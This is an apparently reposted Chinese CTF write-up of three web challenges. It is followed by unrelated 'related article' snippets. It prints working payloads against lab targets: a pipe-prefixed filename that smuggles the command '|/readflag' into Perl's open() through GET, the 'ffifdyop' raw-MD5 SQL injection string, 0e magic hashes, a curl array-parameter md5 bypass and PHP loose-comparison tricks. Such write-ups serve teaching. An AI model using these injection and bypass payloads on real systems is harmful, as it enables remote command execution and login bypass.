hitcon_2017_ssrfme、[BJDCTF2020]Easy MD5、[极客大挑战 2019]BuyFlag

news2024/10/3 4:44:14
hitcon_2017_ssrfme

进入环境给出源码

<?php 
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) 
    {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }
    echo $_SERVER["REMOTE_ADDR"];
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); 

这里GET一开始确实不知道有什么用,以为是get传参,但是想想又不明白,根据题解的意思应该是perl中的——一种语言

根据题解,GET应该是可以读文件的,那我在kali中试一试

在这里插入图片描述

创建一个flag文件并读取

echo flag{} > flag
GET ./flag

在这里插入图片描述

读取根目录

在这里插入图片描述

代码一开始创建了一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip

在这里插入图片描述

使用上面方法我们就可以在靶机里找flag了,一般flag在根目录下,payload

http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/?url=/&filename=233
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/233

在这里插入图片描述

有flag和readflag但是flag读不到,多半是没有权限,只能通过readflag来实现了

GET底层实现使用的是open函数,open函数可以执行命令,我们可以通过GET来执行命令

1、open命令执行(|没搞明白)

open(FD,'|id')
print <FD>

而perl里的GET函数底层就是调用了open处理,如下84与132行

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

当GET使用file协议的时候就会调用到perl的open函数

在这里插入图片描述

发现了这一点我们就可以构造payload了

?url=&filename=|/readflag
?url=file:|/readflag&filename=abc
http://8e43eaf3-33d8-4fae-9336-4977010900a2.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/abc

这样就能获得flag

在这里插入图片描述

[BJDCTF2020]Easy MD5

进入环境用浏览器自带的开发者工具抓一下包,发现头部有提示

在这里插入图片描述

这里查一下md5函数,当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。这就相当于一个万能密码了我们来试试

成功登入然后我们查看网页源码

在这里插入图片描述

得到一些新的提示这就很明显是一个md5弱类型比较,我们到网上找一些以0e开头的md5值

在这里插入图片描述

用上图任意俩个值分别别传给a和b(通过get方式)给出如下payload

?a=QNKCDZO&b=240610708

然后又得到部分源码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

在这里需要通过Post方式传入两个值,并且这两个值要求不相等且md5加密后要全等,这就又有个矛盾了,这里有嘚用一次md5弱类型比较,给这俩个值当成数组赋值这样一来就能成功绕过(如果这里不懂md5弱类型比较建议百度一下

我这里使用curl传送payload

curl -d "param1[]=1&param2[]=2" -s "http://5d01309a-5251-4791-b9b3-ee9c1facee0e.node4.buuoj.cn:81/levell14.php"

成功取得flag

在这里插入图片描述

[极客大挑战 2019]BuyFlag

进入环境点击menu后点击payflag然后我们查看网页源代码发现一些提示

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

需要post传入一个password我们既要password不能为数字且password需要为404,但是在这里我们看见比较符号为==所以这里可以使用弱类型绕过我们传入404b即可绕过过滤

在这里我们用bp抓完包我们注意这里需要更改

在这里插入图片描述

默认这里是0我们需要改为1

在这里插入图片描述

password传入值,但是发包回显钱不够

在这里插入图片描述

这里可以猜测一下钱的变量为money我们尝试更改钱的数量

在这里插入图片描述

在这里插入图片描述

数字太长我们尝试一下科学计数法

在这里插入图片描述

在这里插入图片描述

这样我们就能获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/436673.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode225. 用队列实现栈

文章目录 1.题目描述2.原题链接3.思路分析4.代码实现 1.题目描述 请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 实现 MyStack 类&#xff1a; void push(int…

树上差分(点差分/边差分)

树上差分一般有两种类型的题目&#xff0c;一种是对边进行差分&#xff0c;另一种就是对点进行差分。 对应的操作也有两种&#xff0c;对边进行差分的对应操作就是给定一对节点(u,v)&#xff0c;让我们把u到v之间路径上的边权都加val&#xff0c;对点进行差分的对应操作就是给…

经验正交分解EOF的Matlab的实现示例

在地学中&#xff0c;PCA和EOF通常用于信号提取&#xff0c;从繁杂的时空数据中分离出地理要素的时空变化特征&#xff0c;是进行地学信号分析的前提。本质上PCA和EOF没有什么不同&#xff0c;只是&#xff1a;EOF为空间特征向量&#xff0c;也称为空间模态&#xff0c;在一定程…

信号完整性分析:关于传输线的三十个问题解答(一)

1.什么是真正的传输线&#xff1f;&#xff08;What is a real transmission line?&#xff09; 答&#xff1a;真正的传输线由任意两条延长一定长度的导体组成。将一根导线标记为信号路径&#xff0c;将另一根导线标记为返回路径。 A real transmission line is composed o…

2023最经典的Python接口自动化测试中的用例编写问题总结

本篇文章分享几个接口自动化用例编写过程遇到的问题总结&#xff0c;希望能对初次探索接口自动化测试的小伙伴们解决问题上提供一小部分思路。 B站讲的最详细的Python接口自动化测试实战教程全集&#xff08;实战最新版&#xff09;_哔哩哔哩_bilibiliB站讲的最详细的Python接…

4月,不要跳槽...

跳槽是每个人都可能面临的选择&#xff0c;但不同的时间点会对跳槽带来不同的影响。对于软件测试人员来说&#xff0c;4月份并不是最适合的跳槽时间。原因如下&#xff1a; 与企业目标和计划相关。一般情况下&#xff0c;公司在1月份会制定本年度的发展目标和计划&#xff0c;而…

力扣sql中等篇练习(五)

力扣sql中等篇练习(五) 1 股票的资本收益 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 每个用户的所有Sell的price值减去Buy的price值就可以了 SELECT stock_name,SUM(IF(operationBuy,price*-1,price)) capital_gain_loss FROM Stocks GROUP B…

IT知识百科:什么是SSID?

一、什么是SSID SSID&#xff08;Service Set Identifier&#xff09;是无线网络中的一个重要概念&#xff0c;它是一个用于标识无线局域网&#xff08;WLAN&#xff09;的名称。SSID可以看作是无线网络的名称&#xff0c;类似于有线网络中的网络名称或者路由器的名称。在无线…

【JavaScript】5.JavaScript内置对象

JavaScript 内置对象 JavaScript 中的对象分为3种 自定义对象内置对象浏览器对象 前面两种对象是JS 基础 内容&#xff0c;属于 ECMAScript&#xff1b; 第三个浏览器对象属于JS 独有的 内置对象就是指 JS 语言自带的一些对象&#xff0c;这些对象供开发者使用&#xff0c;…

数据通信基础 - 数据通信方式

文章目录 1 概述2 分类2.1 按通信方向分2.2 按同步方式分 3 扩展3.1 网工软考真题 1 概述 分类维度分类解释举例通信方向单工通信信息 只能在一个方向发送&#xff0c;发送方不能接收&#xff0c;接收方不能发送电视、广播半双工通信通信双方可以 交替发送和接收信息&#xff…

分布式锁+AOP实现缓存

分布式锁AOP实现缓存 1、分布式锁AOP实现思想2、不使用AOP的情况2.1 没有使用缓存时代码2.2 使用Redis实现分布式锁的代码2.3 使用Redisson实现分布式锁2.4 测试缓存命中2.5 存在问题 3、分布式锁AOP实现3.1 定义注解3.2 定义一个切面类加上注解3.3 使用注解完成缓存 1、分布式…

函数的缺省参数,函数重载与底层函数名修饰解释,引用的初步介绍

TIPS 使用C输入输出更方便&#xff0c;不需要像printf/scanf输入输出时那样&#xff0c;需要手动控制格式。C的输入输出可以自动识别变量类型。在日常练习中&#xff0c;建议直接using namespace std即可&#xff0c;这样就很方便。using namespace std展开&#xff0c;标准库…

ReetrantLock源码剖析_03公平锁、非公平锁

一直努力就会有offer&#xff0c;一直努力就会有offer&#xff0c;一直努力就会有offer&#xff01; 文章目录 ReetrantLock公平锁代码解析ReetrantLock公平锁执行流程ReetrantLock非公平锁代码解析ReetrantLock非公平锁执行流程公平锁与非公平锁的比较 ReetrantLock公平锁代码…

前端部署发布项目后,如何通知用户刷新页面、清除缓存

以下只是一些思路&#xff0c;有更好的实现方式可以留言一起交流学习 方式一&#xff1a;纯前端 在每次发布前端时&#xff0c;使用webpack构建命令生成一个json文件&#xff0c;json中写个随机生成的一个字符串&#xff08;比如时间戳&#xff09;&#xff0c;每次打包程序都…

【Python入门第五十天】Python丨NumPy 数组搜索

搜索数组 可以在数组中搜索&#xff08;检索&#xff09;某个值&#xff0c;然后返回获得匹配的索引。 要搜索数组&#xff0c;请使用 where() 方法。 实例 查找值为 4 的索引&#xff1a; import numpy as nparr np.array([1, 2, 3, 4, 5, 4, 4])x np.where(arr 4)pri…

node可以用nvm快速切换版本,golang如何快速切换版本?用gvm就行。

使用 gvm 可以带来以下好处&#xff1a; 快速切换 Golang 版本&#xff0c;方便进行版本测试和开发&#xff1b;可以在多个项目中同时使用不同版本的 Golang 包和工具&#xff0c;避免冲突&#xff1b;可以通过 gvm 管理不同版本的 Golang&#xff0c;方便安装、卸载和更新&am…

STL--vector

一、vector介绍 vector是表示大小可以更改的数组的序列容器 就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改变的&#xff0c;而…

移动端屏幕适配

文章目录 移动端屏幕适配移动端屏幕适配和响应式布局区别基本知识简单屏幕适配 移动端屏幕适配 移动端屏幕适配和响应式布局区别 移动端适配响应式布局终端移动端PC端和移动端常用单位宽高&#xff1a;rem 或 %字体&#xff1a;px宽&#xff1a;%高、字体&#xff1a;px宽高宽…

Docker网络模式与cgroups资源控制

目录 1.docker网络模式原理 2.端口映射 3.Docker网络模式&#xff08;41种&#xff09; 1.查看docker网络列表 2.网络模式详解 4.Docker cgroups资源控制 1.CPU资源控制 2.对内存使用的限制 3.对磁盘IO的配置控制&#xff08;blkio&#xff09;的限制 4.清除docker占用…

Vue3教程

文章目录 参考资料1 setup语法糖1.1 vue2中的写法1.2 setup语法糖在vue3中使用 2 ref reactive 事件2.1 ref2.2 reactive2.3 事件&#xff1a;在setup script中&#xff0c;直接定义事件&#xff0c;不需要像vue2那样在method中定义 3 computed & watch & watchEffect3…